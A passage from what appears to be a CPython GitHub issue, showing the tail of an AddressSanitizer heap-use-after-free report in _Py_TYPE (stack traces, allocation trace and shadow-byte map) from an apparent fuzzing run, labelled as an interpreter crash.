    #17 0x600126ef2d8a in builtin_next Python/bltinmodule.c:1681
    #18 0x600126b923e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #19 0x600126b923e7 in PyObject_Vectorcall Objects/call.c:327
    #20 0x600126a465a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #21 0x600126f10ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #22 0x600126f10ad6 in _PyEval_Vector Python/ceval.c:2001
    #23 0x600126f10ad6 in PyEval_EvalCode Python/ceval.c:884
    #24 0x60012705616e in run_eval_code_obj Python/pythonrun.c:1365
    #25 0x60012705616e in run_mod Python/pythonrun.c:1459
    #26 0x60012705ae17 in pyrun_file Python/pythonrun.c:1293
    #27 0x60012705ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #28 0x60012705b93c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #29 0x6001270cee3c in pymain_run_file_obj Modules/main.c:410
    #30 0x6001270cee3c in pymain_run_file Modules/main.c:429
    #31 0x6001270cee3c in pymain_run_python Modules/main.c:691
    #32 0x6001270d071e in Py_RunMain Modules/main.c:772
    #33 0x6001270d071e in pymain_main Modules/main.c:802
    #34 0x6001270d071e in Py_BytesMain Modules/main.c:826
    #35 0x709523c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #36 0x709523c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #37 0x600126a6a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

previously allocated by thread T0 here:
    #0 0x7095240fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x600126d3788e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
    #2 0x600126d3788e in _PyType_AllocNoTrack Objects/typeobject.c:2504
    #3 0x600126d37af4 in PyType_GenericAlloc Objects/typeobject.c:2535
    #4 0x600126d2f118 in type_call Objects/typeobject.c:2448
    #5 0x600126b909cd in _PyObject_MakeTpCall Objects/call.c:242
    #6 0x600126a4ef33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #7 0x600126f10ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #8 0x600126f10ad6 in _PyEval_Vector Python/ceval.c:2001
    #9 0x600126f10ad6 in PyEval_EvalCode Python/ceval.c:884
    #10 0x60012705616e in run_eval_code_obj Python/pythonrun.c:1365
    #11 0x60012705616e in run_mod Python/pythonrun.c:1459
    #12 0x60012705ae17 in pyrun_file Python/pythonrun.c:1293
    #13 0x60012705ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #14 0x60012705b93c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #15 0x6001270cee3c in pymain_run_file_obj Modules/main.c:410
    #16 0x6001270cee3c in pymain_run_file Modules/main.c:429
    #17 0x6001270cee3c in pymain_run_python Modules/main.c:691
    #18 0x6001270d071e in Py_RunMain Modules/main.c:772
    #19 0x6001270d071e in pymain_main Modules/main.c:802
    #20 0x6001270d071e in Py_BytesMain Modules/main.c:826
    #21 0x709523c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #22 0x709523c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #23 0x600126a6a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE
Shadow bytes around the buggy address:
  0x51300001d100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
  0x51300001d180: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x51300001d200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51300001d280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51300001d300: 00 00 00 00 00 04 fa fa fa fa fa fa fa fa fa fa
=>0x51300001d380: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd
  0x51300001d400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x51300001d480: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x51300001d500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51300001d580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51300001d600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2207258==ABORTING

Metadata

Metadata

Assignees

Labels

interpreter-core(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dump

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions